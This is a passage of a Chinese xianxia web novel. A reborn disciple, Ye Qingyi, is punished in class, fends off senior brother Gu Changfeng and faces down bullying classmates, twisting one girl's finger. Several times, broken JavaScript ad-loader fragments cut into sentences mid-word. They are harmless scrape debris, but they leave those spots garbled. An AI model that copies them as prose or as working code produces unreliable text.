老实说,对于进山第一年,她记忆中只有挨不完的戒尺和抄不完的门规,对云仞修仙史魔修流派什么的也是根本理不清,师兄们甚至一度以为她要被淘汰了。 好在她在年终考核前半月恶补书本知识,虽然没完全记下,但最后还是勉强通过考核了。 并在次年第一次月度考核中毫无征兆地考出全门第一名的成绩。 这让原本就少言寡语不合群的她更成了同门针对的对象。 如此分析罢,叶清漪便已想好了应对之法。 第二日所有人进入问道堂内开始正式修习。 第一年是不会教实际的功法的,主要是在一日一日的规律课业中适应仙门修炼的生活,了解仙门历程、修仙派系、魔修派系,以及修仙的基本原理,下半年会开始接触打坐吐纳等筑基功法,等可以吸收天地之气并为己所用时,才算是开蒙了,继而进入下一阶段,练气。 不过就算是这一世,叶清漪也还是对枯燥冗长的修仙史毫无兴趣,更别提《云中之仞》这本书中对云仞山和掌门云宸长篇大论的吹捧和歌颂了。 是以连着七日早课都精神抖擞的叶清漪,在第一堂修习课上终于成功睡着了…… “啪啪啪——” 戒尺敲击桌面的声音急促又不耐烦。 叶清漪猛地惊醒,擦了一把嘴角的口水,睡眼迷蒙地坐起,只见戒律一脸愠怒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地站在她桌边。 “你叫什么名字?”戒律居高临下看着她,每根胡子仿佛都在生气。 “……”叶清漪没有急着回答。 “启禀长老,她叫叶清漪。”有其他寝舍的女同门早看她不顺眼,“好心”为她报上名号。 “你是来修习的还是来睡觉的?拿上《仙门五千年》去门口站着去!”戒律此时还没开始针对她,只按寻常弟子初犯门规来处理。 叶清漪睡得有点懵,拿起书本摇摇晃晃地出去了。 真不是她有心,这枯燥的书本配上戒律半死不活的讲解,催眠能力实在太强,可以说她往后这十年间,就进山第一年在戒律的课堂上睡得最舒服,转世后这点依旧没变,甚至由于睽违已久,效力更甚于当年。 这让她下定决心重新做人的计划顺利泡汤…… 她这正拿着一寸厚的《仙门五千年》站在堂外醒神,顾长风带着一行师兄弟正好路过问道堂。 正式弟子平日修炼之余,有时间也会来前山帮忙,前世叶清漪去了后山后就很少来前山了,其他人还是时时来帮各自的师尊处理一些日常事务,批阅师弟妹们的功课,当当辅教之类。 看到她站在外面,顾长风竟停下了,许是为了巩固自己为人宽厚的口碑,他对叶清漪甚至格外关照。 “师妹这是怎么了?被戒律长老罚了吗?”顾长风上前一步。 叶清漪眉心紧锁,记得前世顾长风不怎么来前山,怎么如今是很闲吗? 她没有回话,只皱着一张脸看着他。 其他师弟见状都颇为意外,面面相觑,小心翼翼观察着顾长风的反应。 顾长风只是笑笑,示意无妨:“我同这位师妹之间可能有些误会……” 说罢便让其他师弟先去巡视,他则靠得更近了些,寻找叶清漪躲避的眼神:“师妹你……为何如此?我们之前有过什么恩怨吗?” 顾长风始终对她这一巴掌耿耿于怀,倒不是记仇,而是不解,他实在不明白,这样一个刚及笄的小姑娘,看他的眼神为何有那么深的恨意,这些日子他时时想起她那日的眼神,面上如常,实则抓心挠肝的,今日得了机会,势必要问个清楚。 叶清漪只是冷冷抬眼,眼底是与年纪毫不相符的漠然。 5. 堂外罚站 “我有一事不明,想请教大师兄。”叶清漪终于开口。 顾长风:“但说无妨!” “如果师兄有一位要好的师妹,但她因为修炼不慎误入魔修,被仙门除名,又折返回来威胁到其他师妹的安全,师兄又该当如何?” 顾长风定定看着叶清漪,眼见她略带稚气地问出如此棘手的问题,不由眉头一皱,看了眼堂内,问道:“这是戒律长老在课上提出的问题吗?” 叶清漪没有回答,等着顾长风的答案。 顾长风惊愕片刻,很快恢复如常,露出恰到好处的笑,俯身拍了拍叶清漪的脑袋:“你还小,不需要考虑这些问题,还是好好背背修仙史吧!” 又在叶清漪反应过来前收回手,她只有晦气地拍了拍头顶。 顾长风被此举逗笑:“对不住了,这样是不是会影响你长个儿啊,快原地蹦两下就没事了!” 叶清漪愤愤瞪着顾长风,他不过比自己大两三岁,在这充什么大人! 不过如今她确实吃亏在身高上,万一真影响她长个儿,后面修炼岂不更难了? “快点哦!晚了就不管用了!”顾长风努力憋着笑。 叶清漪只好黑着一张脸当着顾长风的面原地蹦了两下。 顾长风显然憋笑憋得很辛苦…… 这简直是奇耻大辱!叶清漪发誓日后定要讨回来! 二人正在门外友好交流,戒律听到动静赶出来:“让你罚站你在这干什么呢?” 顾长风转身跟戒律见礼:“见过戒律长老。” 戒律骂骂咧咧完了才看到顾长风,有些尴尬:“是长风啊!来前山巡视了,修言师兄近来可好?我听说他出关了,我这一直忙着教导新生,还没来得及去看他。” 顾长风颔首:“师尊一切都好,长老事务繁忙师尊自是理解的,这不,后山这两月较为清闲,就派我和几位师兄弟来为长老分忧,长老有事尽管吩咐我们去干。” 戒律很是受用,不忘客套两句:“我还好,左不过就这些事,三年一次,都熟能生巧了,不像修言师兄如今代管掌门事务,日理万机,现下还派了你来,他该更操劳了。” 顾长风老道一笑:“师尊刚闭关出来,还没正式开始处理事务,掌门闭关突破七重天,想来月余也就出关了,师尊他也不过是代为照看仙门,左右也没什么大事。” 叶清漪沉默听着,如今云宸功法才达六重天,三年后收她为徒时就已是八重天了,可见其天资非凡,不是每一次闭关都能突破的,越到后面越难突破,也越危险,叶清漪走火入魔前功法也已达八重天,彼时云宸已闭关突破九重三次了。 一旁二人还在你来我往地聊着,叶清漪暂时收回思绪,不耐烦地开始跺脚,两位场面人这才草草止了话头。 “你这站没站相,哪个世家出来的?行为做派这般狂野!”戒律一向古板,陈词滥调一套一套的,叶清漪听得头疼。 顾长风又转圜几句:“师妹还小,刚进仙门难免浮躁些,长老宽恕则个,况且仙门不让提及俗家身份,长老近来事忙,想来疏忽了。” 戒律自知失言,匆匆应对两句便进去了。 “你不必替我说情。”叶清漪道。 顾长风以为她是拉不下脸,还想给个台阶下,不料叶清漪来了句:“他不敢把我怎么样,不过虚张声势罢了!” 顾长风:“……” 这才进山几天,她连戒律长老什么性子都摸透了? 人精啊,简直是人精!这还修什么炼,扯个幡子在山脚算命,原地直接升为半仙,少走五十年弯路! 戒律出来这会儿,里面的弟子也知道顾长风在门外,还跟叶清漪说了许久的话,探头探脑,有好事的,有嫉恨的,直到戒律的戒尺砰砰敲了两下才消停下来。 叶清漪也一直在等顾长风走,等了会儿忽然意识到,她这么听话地在这罚站做什么?真是昏头了!连忙二话不说抬脚就走。 她竟然在门外站了这许久,真是跳崖跳傻了!还在顾长风面前像个猴子一样上蹿下跳供他取乐,定是跳崖时磕到脑袋了! 如今她没有法术,体能也不够强,还没法实施计划!当务之急是提前修习功法,尽快开始筑基。 筑基需要近百日时间,一般是在第一年最后三个月开始,反正前面这些都没什么实际用处,她还不如跳过戒律的课程自己修炼。 叶清漪正站在路中间分析着,没想到顾长风又跟了上来,叶清漪满脑子疑问,这人是有受虐倾向吗?早知如此,她就不打那一巴掌了! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “叶师妹,前山很大,你刚来还不熟悉地形,可别一个人乱跑!”顾长风紧走两步跑到她边上,顺了口气又道,“放心吧,我已经帮你跟戒律长老说过了,你也不算私自离开。” 叶清漪明白了,他就是这性子,对所有人都好,全门上下都对他交口称赞,他会跟上来也完全是出于习惯使然,叶清漪虽然不理解他为何如此,但他的确是下意识地关怀他人,不管对方是谁,或者说,他根本不在意对方是谁。 叶清漪头疼不已:“你现在修炼到哪个阶段了?” 顾长风:“啊?” “筑基?还是练气?” “不愧是叶师妹,你连这都知道?看来早就提前做好功课了啊!”顾长风此人最擅装聋作哑,顾左右而言他,想从他嘴里问出什么,的确很难。 “罢了!”叶清漪继续往前走。 “师妹功课做得很足,可是修炼不是只背那些功法名称就可以的,还是要一步步来,切不可操之过急!” 顾长风这人虽然讨厌,这话倒是没错,要想重新修炼,她还是要按照前世的步骤一步步来。 只是前世顾长风也不像如今这样,对她寸步不离啊! 到底是哪里出错了? 叶清漪停下脚步:“大师兄。” “嗯?”顾长风低着头走在她旁边,嘴角噙着莫名的笑意,愣愣地出神,听叶清漪叫他,一抬头,眼睛亮亮的,满是欣喜。 叶清漪叉着腰看他,沉默片刻,问:“你不用去巡视吗?” 顾长风猝不及防:“啊?我……” “大师兄!”二人正僵持着,一道清脆的声音响起。 二人一齐转身望去。 顾长风的眼睛依旧明亮:“凌师妹,你怎么在此?” 凌师妹凌雪瑶,修言长老凌霜的女儿,擅长心法阵法,前世云仞山最后的八卦杀阵也是她主力搭建的,和叶清漪所建的相差无几。 看着凌雪瑶缓缓走近,叶清漪的脸色一点点沉下来,前世她与凌雪瑶同一批修炼,但凌雪瑶与顾长风早早相识,也是顾长风最后在绝情崖顶护着的小师妹。 “大师兄,她是谁啊!”凌雪瑶走上前,自然地揽住顾长风的胳膊,一脸天真地望着叶清漪。 顾长风:“……” 6. 自学心法 “这是叶师妹,今年刚进山的。” “哦……原来是刚来的师妹啊!难怪看着眼生,不像我跟大师兄早早相识。”凌雪瑶紧紧挨着顾长风,望着叶清漪的眼神充满敌意。 前世最后叶清漪看到的就是这两张脸,如今同时对着他们,很难有什么好心情,她自是无心寒暄,转身想走,却被凌雪瑶拉着不让走。 叶清漪看着凌雪瑶拽着自己衣袖的手,刚想发作,却见凌雪瑶略一皱眉,转头问顾长风:“大师兄,这……是不是那日当着所有人的面打你的那个?” 叶清漪没有搭理,任由袖子被凌雪瑶拽着。 顾长风连忙上前打圆场,一面不露痕迹地挣脱了凌雪瑶:“没有的事,凌师妹又是哪里听来的闲话!” 凌雪瑶还打算再说些什么,叶清漪已经趁她失神的空当儿抽回衣袖,留下句“你们聊”,转身就走了。 顾长风似乎还有要追上来的意思,被凌雪瑶叫住了。 “大师兄,我爹正找你呢!特地派了我来寻,说我总能知道大师兄在哪儿!” 凌雪瑶声音之大,似乎是扯着嗓子追着叶清漪喊。 叶清漪撒开腿,跑得更快了…… * 学徒时期是要穿统一的制服的,成为正式弟子后穿衣会随意些,是以叶清漪在后山的那三年里,几乎没见顾长风穿过重复的衣服。 在云仞,俗家身份是不许提的,顾长风的背景同门也知之甚少,和他同一批的,除去离开的,剩下的几位都与他交好,从未透露过他的身份,其余人只知道顾长风家境殷实,还有些权势,再多的也没有了。 也许因为如此,师兄弟们对顾长风的态度也客气不少。 前世因为叶清漪后来当上了大师姐,顾长风又人前人后总是刻意关照她,不知何时有关他二人的风言风语就传开了,这让叶清漪本就堪忧的人缘雪上加霜。 这曾经让她十分困扰,不过如今她无所谓了,别人怎么想,她管不着也不在乎。 叶清漪离开之后,并没有直接回寝舍,而是改道去了藏经阁。 藏经阁位于前山后山交接处,第一层对所有人开放,第二层只对正式弟子开放,前世她到第三年末尾才开始从藏经阁借心法书看,自此一发不可收拾,如获至宝,很快开悟,短短两个月就打通了小周天,可惜时间仓促,她到年末考核时,还未参透吐纳之法。 是以她甚是后悔前两年没进藏经阁,白白浪费大好时光,论及缘由,大抵是没人告诉他们,藏经阁第一层是可以随意进出的。 如今她循着记忆轻车熟路来到藏经阁,如今藏经阁尚未有人把守,只有二楼施了结界,三年后藏经阁失窃,丢失了一本心法珍本,藏经阁这才开始加强护卫,不辞也是在这时候成了藏经阁看护的。 这次叶清漪进来难得感受了一次彻底的清净,身心舒畅。 她在一楼的书架间浏览着,爱不释手地抚过一本本心法书的书脊,好像在跟一位位旧友重聚。 前世她没什么朋友,只有这一本本心法书陪着她,像一位忠实的朋友,你付出时间,就会得到回报,你学有所成不会嫉妒你,你结印失败也不会斥责你,它们只会温柔地注视着你,鼓励你继续前行。 她也只有在藏经阁才能有片刻宁静。 叶清漪挑了一本最基础的心法入门,直接在书架后面席地而坐,翻看起来。 原本她想过带几本回寝舍,不过人多眼杂,她不想横生枝节,就索性躲在里面看,反正也很少有人过来。 之后的日子,叶清漪就在上课打瞌睡、被戒律罚站、转道藏经阁学心法之间来回切换,时间飞逝,很快来到第一次的月度考核。 现在大家还没开始学心法,考的自然是戒律教的那些规章制度,修仙通史,叶清漪一道题也没答出来,不负众望直接考了倒数第一。 戒律已经拿她没办法了,照旧呵斥了两句,将她的课本往地上一摔,让她带着课本到门外罚站。 这一次叶清漪没再去藏经阁,经过这一个月的复诵,以及前世残留的印象,她几乎已将藏经阁一楼的心法书都记下了。 但光记下没用,还是要结合功法运用。 她如今体格偏弱,在叶家每次吃饭她都会被大姑母挑刺,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然就是三房要和二房争执,叶清漪记忆中没吃过一顿安生饭,饭菜再香也食之无味,长此以往,自然比同龄人要瘦弱些,前世她也是进了云仞山才开始变得结实,身量也长了不少。 如今她也是每日锻炼,按时吃饭,但短短一月还看不出什么效果,也没法强行开始修炼,只等日后强壮些了,再一点点开始修习。 顾长风最近应是很忙,都没怎么见他来前山,叶清漪也是乐得清净,尽管凌雪瑶还是时时给她使绊子,但看到她考核成绩这么差,认定她进不了后山,如今也对她松懈下来。 不去藏经阁了,又没人来她跟前讨嫌,叶清漪的日子忽然无趣不少,站在问道堂外开始打起瞌睡来。 迷迷糊糊间,她做了一个梦,梦里一位玄衣男子直直冲着自己的方向坠落,伸着手,似乎很想抓住她,却只抓到无烬的烟灰。 一阵穿堂风吹过,叶清漪惊醒,望着前方树枝顶端摇摇晃晃的阳光,没由来地想起一些事,一个这段时间被自己遗忘的人——魔界二殿下,连喜。 曾经她被迫转为魔修,因为仙门背景不被魔族接受,是连喜力排众议让她进入黑山修习的。仙修与魔修本就相悖,她刚开始控制不住体内魔气,每每险些走火入魔,也是他一直护法,多次将运功不慎的她拉了回来。 记得最后她和连喜貌似已经要在魔界成婚了,只是大婚前夕,叶清漪得知了云宸之死,便抛下一切赶往云仞山,用了七天七夜终于抵达,也因为一路奔波,她进山时就已经落了下风。 不过这些她也有所预料,她这一去,就是存了必死之心的。 原本以为这一切她已然全都忘了,不料在这样一个清晨毫无征兆地想起。 前世的最后,她似乎还看到连喜跳下绝情崖顶,也不知他后来如何了。 不过这一世,她想必是不会再入魔修,也不会与连喜有所交集了吧! 如此一来也好,他不必为了她跟同门反目,也不会为了救她废去一半修为,导致最后连她一半的功力都不及。 天各一方,各自欢喜。 是这一世她能给他最好的结局…… 7. 膳堂被扰 这一日,叶清漪正在膳堂埋头跟玉米作战,如今正是吃玉米的时节,前山弟子还未入道,口腹之欲旺盛,还是需要一日三餐正常用膳的,后山弟子也并非人人辟谷,虽然进入练气期后对人间烟火的感知会降低,饮食上的欲.望也不那么迫切,但不时也会进食一些点心小吃,聊以消遣。 云仞山膳堂很多,前山一个,后山两个,师尊长老们还有单独的寝殿和小厨房,不过多半是拿来炼丹或者制作一些灵力点心,前世叶清漪吃过前山膳堂,后山两个膳堂,还吃过云宸闲云殿的小厨房。 兴许是前几年食欲比较旺盛,她还是最爱前山的一膳堂,心心念念晶莹剔透的云饺、柴火小馄饨、香煎清明馃子,以及好吃好看的各色糕点。 这也是她进了云仞后肉眼可见茁壮成长的原因。 今日休沐日,只有半日课程,叶清漪闲来无事溜达到一膳堂附近,想着弄点糕点打打牙祭,正碰上那位糕点师父下山采买,叶清漪就买了点玉米,正埋头啃着,来了几位眼熟的女同门,在她附近的位置上坐了下来,剩下的几位则堵在了她离开的这一侧。 叶清漪冷笑一声,还是这么拙劣的戏码,前世她也遇到过几次,她不是默不作声,随她们推搡打骂几句,再寻个空当离开,就是远远避开,倒给她们自己好欺负的错觉,如今她倒想看看她们又有什么新花样。 “这不是我们这批弟子里的倒数第一吗?这一天天不去背书,倒在这里吃起来了?”一位坐在她前面桌子上的女同门,抖着腿嘲讽她。 “是啊,你这每天不是吃就是睡,也难怪考不出来。” 一群人捂着嘴“咯咯”地笑开了。 叶清漪不耐地皱眉:聒噪! “怎么哑巴了,话也不会说了?”挨着叶清漪最近的一位又挑衅地凑过来。 按她们惯用的路数,接下来就该对叶清漪动手动脚,试探她的底线了。 叶清漪将玉米棒子一扔,随手拉过站在她桌边那位的衣服认真擦起手来,还顺带擦了下嘴。 被擦手的女同门始料未及,尖叫一声跳开,连忙拍打裙摆:“这可是我最喜爱的一件衣裳!你疯了吗?” 今日不进学,有些讲究的已经迫不及待换上自己进山时穿的衣裳了。 一旁几人见状立马炸锅,踢凳子的,拍桌子的,还有两位开始左右推搡着叶清漪。 叶清漪不为所动,连屁股都没挪一下,转头看向挨着自己最近的那位,她一眼就看出这位是这次事件的主导。 “若我猜的没错,你们那三千条门规没少抄吧!真是抄到狗肚子里去了!”叶清漪上下打量着她,歪着身子,一手支颐,一手拈起她的衣裙抖落两下。 那位女同门顿时瞪大双眼,打掉叶清漪的手,还推了她一把。 “云仞门规第一千八百四十二条,不得辱骂殴打同门,不得聚众闹事,违者当场除名!”那人还想打叶清漪巴掌,听到她这话,举起的手顿时停住了。 边上有几人你一言我一语地挑事。 “别被她唬住了,她门规一条没抄,怎么会知道哪一条门规写的是什么啊!” “就是,她要有这好记性,还能考倒数第一吗!” 要打她的这位听了眯了眯眼,又重新狠了神色。 叶清漪只是懒懒摆弄着自己的衣带:“随你们信不信,左右我已经考成这样,被除名是迟早的,届时长老罚下来,我还能早点离开,来吧,朝这打!” 叶清漪说着自己将脸递了过去。 可能是她的举动太过反常,边上那几位都愣了:“该不会真像她说的那样吧!” 又有人道:“你看她这样,摆明了等着我们打她似的,还记得此前她打了大师兄一巴掌吗?就那样都没被除名,实在蹊跷。” “莫不是有什么猫腻?” “云仞的选擢向来不是最公平的吗?” 几人你一言她一语,没个定论,倒是站在最外围的一位女弟子小声提醒:“我记得门规里是有这一项,具体哪一条记不清了……” 众人开始有点慌了。 “另外友情提醒一下,毁坏门内物品也是要受罚的!”叶清漪抬眼扫过方才踢凳子的人,对方立马从桌子上跳下来,默默将凳子扶好了。 有几位还不死心,继续口出恶言:“那又如何,我们有的是法子治你!你个倒数第一神气什么啊!” 叶清漪砰地一下站起来了。 边上几人都不由得后退了。 叶清漪的视线扫向身后,说话的那位冷不丁被她看着,眼神闪躲,很快调整过来,扬了扬下巴,恢复了狠厉。 叶清漪揉了揉鬓角,斜睨着那位 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,不悦地收回视线。 被盯着的师妹这才松了口气,不知为何,她总觉得叶清漪的眼神充满压迫感。原本她只是打算躲在人堆里暗暗拱火,没想到叶清漪会抬眼看她。尽管她看上去还是和平常一样,但眼神变了,让人不寒而栗。 叶清漪哼笑一声,满意道:“挺好的,本来以为仙门生活注定无聊,不成想还有你们如此贴心陪我解闷,不像其他同门那样胆小怕事,墨守成规,无趣得紧!” 叶清漪说着从桌上拿起一根筷子咬在嘴里,反手抓起半散着的头发,三两下盘了,最后用筷子固定住。 几个人见她一副要动手的架势,都有些慌了,有几位已经不动声色后退了几步。 叶清漪自是明白,她们看着人多势众,大部分是拉不下面子过来给所谓的姐妹撑场面的,更不想毁了好不容易得来的修习机会。 “你作什么?” “你们不是要打吗?”叶清漪一脸无辜。 “别虚张声势了!你个小不点!也不知是什么穷酸破落户的出身,没的在这碍眼,我要是你,便趁早滚下山去,免得在这丢人现眼!”另有一位女同门冲了上来,指着叶清漪的鼻子骂。 骂完后刚想收手。 叶清漪直接一把抓住她的手指,二话不说反手一掰。 那位师妹当即疼得嘶牙咧嘴,整个身子歪了下去。 边上有人想帮忙又不敢贸然上前,只好在一旁连声让叶清漪住手! “你大胆!快放开我!”那位女师妹一边骂一边拍着叶清漪的手,想将手抽出来,奈何手指被叶清漪死死攥着,拧着筋,越动就越疼,很快眼泪就疼出来了。 边上几人知道叶清漪是不可能示弱了,这才上前劝和,语气也软了: “好了好了,快松手吧!” “是啊,有什么话好好说!都是同门,犯不上如此!” 叶清漪不理会,只低头望着被她抓住手的这位,微一挑眉,以示询问。 那位师妹疼得没法子,连忙求饶:“方才是我的不是,我知道错了,你快放开我……” 说到最后还带了几分哭腔,全没了之前骂人时的气势。 叶清漪懒懒收回视线,终于松开手,在衣服上擦了擦手心的汗,冷冷抬眼:“忘了说,我此生最讨厌的便是,被人用手指着!” 8. 获赠笔记 “你居然敢动手,我要去告诉戒律长老!”领头的那位牢牢护着被打的师妹,气势汹汹。 “你只管去。”叶清漪给她让路,“若长老问起缘由,我只好如实告知了。” “你!”告状的师妹闻言止住脚步。 “你说就是了,到时我们一齐说是你先动的手,看长老信你的还是信我们的。” “就是!你这一天站外面上课的人,我就不信长老能信你的!” 另外几人你一言我一语地说。 叶清漪也不恼,只说:“我听闻戒律有一面镜子,可观世间万事,还有一把公正尺,可以判定是非曲直。” “你怎么知道这么多?” “你们权当我瞎说的。”叶清漪将筷子取了,如瀑的秀发尽数散下。 此时有几位男弟子也来了膳堂,看她们这边一群人聚在一起,不由得都往这边看过来。 叶清漪瞟了他们一眼,继续对几位师妹说:“走吧,我陪你们一起去找戒律长老。” 说着拉起其中一位就走。 “我不去,你别拽我!”被拉住的师妹还没理清思绪,被叶清漪的气势震慑,出于本能拼命挣开。 边上几位也来帮忙。 动静有点大,惹得那几位师弟都往这边看过来。 师妹见状又降低了声音。 “要不算了吧!”有人拉了拉领头那位的衣袖,柔声劝道,“我们进山不过月余,若是闹大了,对我们都不好……” “是啊是啊……要不算了吧!”其他人也纷纷附和。 其实叶清漪能看得出来闹得最凶的那几位早有想作罢的意思,只是没人劝和,面子上拉不下来,如今有了台阶,便故作不情愿地下了:“也罢,这次我们就大人不记小人过,不跟你个倒数第一计较了!我们走。” 领头那位说完,边上那位连忙将叶清漪的手扒拉开,拉着被牵制住的师妹转身就走。 叶清漪看得好笑,在背后叫住她们:“等等!若我不想作罢,又该当如何呢?” 叶清漪站在餐桌旁,指尖一下一下轻点着桌面,发出“笃笃”的声音。 几位师妹见鬼一样地回头看她一眼,加快速度飞快逃离了膳堂。 此后,关于叶清漪暴戾爱欺凌同门的谣言在师弟师妹中不胫而走。 叶清漪:“???” 她用力过猛了? 不过因此也让她的日子难得清净了不少。 只是有两件小事让她很是苦恼。 一个是同寝舍的师妹们竟一致站在叶清漪这边,不仅安慰她别理不相干的人,还热心地轮流要为她恶补修仙史,说是作为她之前叫她们起床的回报,吓得叶清漪连着在藏经阁躲了好几天,等到她们过了这兴头才好一些。 另一件则是,不知从何处冒出来一个面生的师弟,没头没脑地跑到她面前说,知道她是冤枉的,那天在膳堂的事,他和同行的师弟都亲眼目睹了,是那些师妹集体找她的不痛快,没得到便宜又到处抹黑她,他虽然改变不了别人的想法,但会力挺叶清漪,希望她不要受流言的影响,想不开之类的。 叶清漪越听眉头皱得越深,等师弟涨红着脸说完,才苦笑不得问:“你看我像是想不开的样子吗?你的好意我知道了,也记下了,你且回去吧!” 结果师弟还是杵在那里,没有要走的意思。 “还有事?”叶清漪侧过身子看他。 “我还有样东西要交于你。”师弟说着从怀里掏出一本皱巴巴的黄皮册子,递给叶清漪,“这是我课上做的笔记,考点都在这里了,你拿去,下次考核能多考几分,啊不是,可能会对你有所帮助。” 怎么又来? 叶清漪本想拒绝,可看这位师弟的模样,似是经不住太大打击,便收了:“多谢你了。” 叶清漪翻了翻,笔记字迹工整,重点还用朱笔勾了,册子也很新,看得出来是重 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 新抄写过的:“记得很详细,笔记给我了,你自己呢?” 师弟喜笑颜开,连连道:“我无妨的,我都记下了,你觉得有用就好。” 叶清漪点头,含笑注视着他。 师弟站了会儿,反应过来:“哦,那就这样,我先走了。” 走出去两步又折返:“你要是有什么不懂的,随时可以问我。” “还未问过你的姓名?” “清泽。” “清泽……”叶清漪重复一遍,思索着前世对这个名字是否有印象,想了一会儿无果,只得作罢。 “那我告辞了。”师弟拱手行礼。 叶清漪点头,当惯了大师姐的她已经习惯受师弟师妹们的礼了。 师弟虽然有些诧异,但知道她一向如此,并不介意,腼腆一笑,转身离去。 叶清漪的视线一直落在师弟的背影上,目送着他走出膳堂,神色间有些许怅惘,她不知道到底是因为哪一件事,才导致了如今这些变化,只是联想到前世种种,些许唏嘘漫上心头,从前她不是不知道师弟中也有不少人倾慕与她,但因为她性子冷淡,遥不可及,加之顾长风总跟她形影不离,那些师弟见了她都是匆匆行礼,头也不敢抬。 像这样面对面说话更是从未有过。 正想着,视线一错,看到另一边不知何时出现的顾长风,只身一人,站在大门的另一侧,越过半个膳堂看向她。 这一次他的神色终于不是万年不变的笑容了。 叶清漪半卷起手中的册子,一下敲在掌心,换了一只手握着,反手背过身后,单手将那册子收进袖中。 她站起身,正思考如何应付顾长风。 对方却没有过来的意思,转过身,径直出去了。 叶清漪:“???” 稀奇,这些人怎么一个比一个不对劲? 她挠了挠头,想不出个所以然,将最后一个小笼包塞嘴里,也离开了。 9. 修仙十问 经过这次被挑衅,叶清漪打算找个安全的地方开始修炼心法,要想完全养好身体,少则一年,多则两年,她不想再等下去了。 前世到了后几年,云宸都是丢一本心法让她练,过段时间又丢一本给她,她差不多也有经验了,自行修炼应该没什么问题。 但在修炼开始前,她还需要一样东西——归墟草。 将归墟草做成香囊,随身佩戴,可以将波动的真气压制住,不被道行更高的修士察觉出来。前世她外出除妖时偶尔会佩戴,避免被妖物提前察觉到踪迹,如今正好用上。 只是学徒灵力低微,用不上这么名贵的灵草,前山没有种植,后山她暂时还进不去,好在云仞山侧峰倒是有些野生的归墟草,虽不比仙门培育的效力持久,用来掩盖开蒙时期这点真气足够了。 这一日叶清漪被戒律罚抄《修仙入门十问》——一本戒律亲自编撰的云宸吹嘘手册,被留了堂,她抄了差不多四五问,就已经被恶心得抄不下去了…… 不能怪她,戒律的遣词造句实是浮夸,看得她头皮发麻。 师尊啊,戒律的忠心还是留着您老人家自己看吧,徒儿先走了! 叶清漪踉跄起身,活动着有些麻痹的双腿,整理好衣摆,准备去采归墟草,转身发现顾长风不知何时出现在问道堂门口。 叶清漪被吓了一跳:“你什么时候来的,怎么一点声响也没有!” 顾长风如今修为比她高,她还不能察觉到他的气息。 顾长风拿着个纸皮袋子站在门口,长身玉立,暮色自他身后投下,将他的白色仙袍衬得越发飘然。 他举步入内,有些局促:“我听说……戒律长老最近不罚站,改让你抄书了。” 说着走过来,将手中的袋子打开:“听说你好几天没吃晚饭,这么下去可不行,没个好身体怎么修炼,我路过膳堂给你带了点烧麦,你先吃点吧!” 叶清漪眉头紧锁,顾长风又是在搞什么鬼? 见她一脸防备,顾长风叹了口气,将烧麦搁在她手边的桌子上,又看向桌面上的抄写本:“还剩多少?” 叶清漪没明白他为什么这么问,下意识回答:“额……还剩四五条,很快就抄完了。” 顾长风一掀衣摆,在她的位置上坐了下来:“你先吃着,我替你将剩下的抄了,想必戒律长老也不会检查得那么仔细。” 叶清漪想阻止,但又想搞清楚顾长风此来到底是何用意,便没有拒绝:“那便谢过大师兄了。” 顾长风听到她道谢,提笔的姿势一顿,似乎有些惊讶:“听你说句感谢不容易啊!” 再次落笔,神情已比方才轻快不少。 见她站着不动,又道:“趁热吃吧!一会儿烧麦该凉了!” 叶清漪不再推辞,拿过纸袋,里面有七八只烧麦,是一膳堂卖的最好的那家,平时排队都买不到,更别说叶清漪这个被留堂的了。 顾长风他……还真是体贴,若换了其他师妹,哪里招架得住,难怪那些师妹无一不对他痴心一片。 若他将这门心思多分点在修炼上,估计前世早突破八重天了! 叶清漪出神地想着,一边小口啃着烧麦。 顾长风埋头抄写,状似无意地问起:“师妹近来可有什么困扰?不妨说来与我听听。” “有劳大师兄挂心,我没什么困扰!”叶清漪瞬间警惕起来,果然没有白吃的晚餐,顾长风不知又在憋什么后招! 她能有什么困扰,前世她最大的困扰就是他顾长风! 看着手中啃了一半的烧麦,忙将袋子放下:“我吃饱了,剩下的师兄你自己吃吧!” 顾长风看也不看那袋子一眼:“不必客气,都是同门,理应互相照顾,剩下的你带回去分给其他师妹吧!” 叶清漪微微眯起眼,果然,这是借她的手卖人情来了! 她可不会让顾长风轻易得逞,又一把抓起纸袋:“经师兄这么一提醒,我忽然又饿了,还是我一个人吃了吧!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>顾长风轻笑一声:“都好,你看着办就好!” 叶清漪实在看不明白他的路数,试探地劝道:“要不还是我自己来吧!怎么好让大师兄替我抄这些!” 顾长风头也不抬:“还剩一点了。” 叶清漪郁闷无比:他这做什么?他们很熟吗? 正当她琢磨要不要胡乱出招应对的时候,顾长风已经起身,还替她将东西收拾好,拿着书袋:“抄好了,走吧,我送你回去!” “咳咳……”叶清漪一口烧麦卡着嗓子眼,差点呛到。 她没听错吧!顾长风要送她回寝舍?这几步路有什么好送的? 看来顾长风就是靠这些花招迷惑小师妹的,可怕啊,可怕得很! 叶清漪断然拒绝:“不必劳烦师兄了,我自行回去即可。” 可顾长风却不愿将书袋交出。 “……嗯???”叶清漪双手尴尬地停在半空。 顾长风声音好听地笑笑:“无妨,我正好去找几个师弟有事,顺路而已。” 男弟子的寝舍在女寝舍后方,隔着一道院墙。 叶清漪:他找师弟有事还跑过来替她抄书,看来为了对付她,顾长风还真是不遗余力啊! “其实我还不急着回去……”。 “你还打算去哪儿?” 叶清漪一时嘴快,说完便意识到失言,干笑两声:“本来还准备再去膳堂吃点馄饨的,不过如今也差不多饱了,还是直接回去吧!” 万幸顾长风不会读心术,无法洞察她其实是想去侧峰挖草…… 也罢,她倒要看看这顾长风还有什么花招! 便不再推辞,和他一起回了寝舍。 回去路上,顾长风跟她从学业聊到修习要领,再聊到他这一路修习的经历,叶清漪第一次觉得他比戒律老儿还聒噪。 